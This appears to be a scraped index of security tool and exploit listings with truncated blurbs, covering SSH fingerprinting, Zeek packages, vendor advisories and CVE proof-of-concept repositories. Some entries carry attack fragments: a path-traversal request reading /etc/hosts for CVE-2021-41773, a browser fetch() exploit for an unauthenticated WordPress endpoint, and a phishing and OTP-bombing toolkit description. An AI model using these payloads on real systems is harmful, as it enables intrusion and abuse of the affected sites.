NetoolHunter-English-Edition

🛡️ NetoolHunter — English Edition A Kali NetHunter securit...

hassh

"HASSH" - a Profiling Method for SSH Clients and Servers. NOTE: This Corelight repository was created so that it can be actively maintained, as per a request from Salesforce whose original repository is not being maintained. "HASSH" is a network fingerprinting standard which can be used to identi...

go-zeek-broker-ws

Zeek Broker websocket interface library for Golang This library implements the Zeek Broker websocket interface. Helper functions are provided with reasonable mappings between Zeek and Go types. Usage The library contains two packages: encoding encoding models the recursive JSON-based data structu...

ripple20

"Ripple20" Treck IOT/ICS device discovery and exploit detection v0.2 Summary: A Zeek package for the passive detection of Treck devices, discovery/scanning attempts and exploitation of the "Ripple20" set of vulnerabilities in the Treck TCP/IP stack. References:...

Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests

Summary AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request. If a view allows POST or another write method but denies GET, an invalid request rendered through AdminRenderer can invoke the view's...

GHSA-G47C-3XMW-Q6M2 Django REST framework: AdminRenderer may disclose GET-protected data when rendering invalid write requests

Summary AdminRenderer may disclose data that would normally be protected by GET permissions when rendering a 400 Bad Request response for an invalid write request. If a view allows POST or another write method but denies GET, an invalid request rendered through AdminRenderer can invoke the view's...

CVE-2019-12735-VIM-NEOVIM

CVE-2019-12735-VIM-NEOVIM USAGE: Prerequisite: modeline feature must be enabled. For regular users, modeline is enabled by default, while for root users it is disabled by default. Use echo &modeline to check the status: 1 means enabled, 0 means disabled. If not, you can add set modeline to /.vimr...

CVE-2017-0781

CVE-2017-0781 PoC Overview This is an implementation of the CVE-2017-0781 Android heap overflow vulnerability described in the Blueborne whitepaper released by Armis. Further reading: https://www.armis.com/blueborne/ In the current state, this code only demonstrates the overflow and the ability o...

PAN-OS-CVE-2024-3400-Command-Injection-Investigation

Investigating a PAN-OS CVE-2024-3400 Command Injection Attempt Overview This project documents the investigation of a CVE-2024-3400 command injection attempt targeting a PAN-OS GlobalProtect service. The goal was to determine: whether this is a real attack whether command execution occurred wheth...

CVE-2019-8997

CVE-2019-8997 An XML External Entity Injection XXE vulnerability in the Management System console of BlackBerry AtHoc versions earlier than 7.6 HF-567 could allow an attacker to potentially read arbitrary local files from the application server or make requests on the network by entering...

CVE-2021-41773

https://target/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts root@kitploit: id: CVE-2021-41773 info: name: Apache 2.4.49 Exploit author: numanturle severity: high requests: - method: GET path: - "BaseURL/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts" matchers-condition: and matchers: - type: regex...

CVE-2025-32463_exploit

CVE-2025-32463 — sudo "chwoot" chroot Local Privilege Escalation Local privilege escalation to root in sudo via the --chroot -R option. Works for any local user , including accounts with no sudoers entry at all e.g. www-data. sudo 1.9.14 – 1.9.17 chroots into the user-supplied directory while the...

CVE-2025-69599

CVE-2025-69599 author: Rafael José Núñez Gulías company: Iberian Var Group Affected products: RayVentory Scan Engine 12.6 Update 8 and previous versions Raynet advisory: RSEC200965 rvia in Raynet is vulnerable to an Uncontrolled Search Path Element issue. When loading shared objects and calling...

SocialEngineering

SOCIAL ENGINEER 🎯🕵️‍♂️ A powerful social engineering toolkit that automates phishing, OTP/email bombing, fake mail and more — built with ❤️ by @karthithehacker ⚠️ For educational use only. Do not use this tool against anyone without explicit permission. 📌 Features 🎯 Phishing Attacks – Simulate fake...

CVE-2025-11771

Exploit: Unauthenticated Sale Record Creation Browser console root@kitploit: fetch'http://localhost/wordpress/wp-json/tokenico/create-sale-record', method: 'POST', headers: 'Content-Type': 'application/x-www-form-urlencoded' , body: new URLSearchParams networkId: "137", presaleKey: "TESTKEY1234",...

Security Bulletin: Multiple security vulnerabilities are addressed with IBM Cloud Pak for Business Automation iFixes for August 2026.

Summary In addition to many updates of operating system level packages, the following security vulnerabilities are addressed with IBM Cloud Pak for Business Automation released in August 2026. Vulnerability Details CVEID:CVE-2026-12590 DESCRIPTION: Impact: In body-parser versions prior to 1.20.6...

csrf_casdoor

Casdoor – Cross-Site Request Forgery CSRF Summary Vulnerability: CSRF in /api/set-password allowing password changes without consent. Affected versions: All versions of the software are affected. No patched release is currently available. CVE: CVE-2023-34927 latest yet to be assigned. Exploit...

CVE-2026-17106

CVE-2026-17106 — CopyEscape:docker cp container-to-host arbitrary file write HackSpeak distribution mirror. This repository is a distribution mirror of the CopyEscape PoC CVE-2026-17106 published by the Imperva Red Team Ron Masas , with the code identical to upstream; upstream does not include a...

Security Bulletin: Multiple secuirty vulnerabilies addressed with IBM Business Automation Workflow August 2026

Summary In addition to updating many operating system level packages, the following security vulnerabilities are addressed with IBM Business Automation Workflow released in August 2026.. Vulnerability Details CVEID:CVE-2026-11541 DESCRIPTION: IBM CICS Transaction Gateway for Multiplatforms 9.1,...

SysmonCommunityGuide

TrustedSec Sysmon Community Guide This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License, please attribute to TrustedSec LLC You are free to: Share — copy and redistribute the material in any medium or format. Adapt — remix, transform, and build upon the...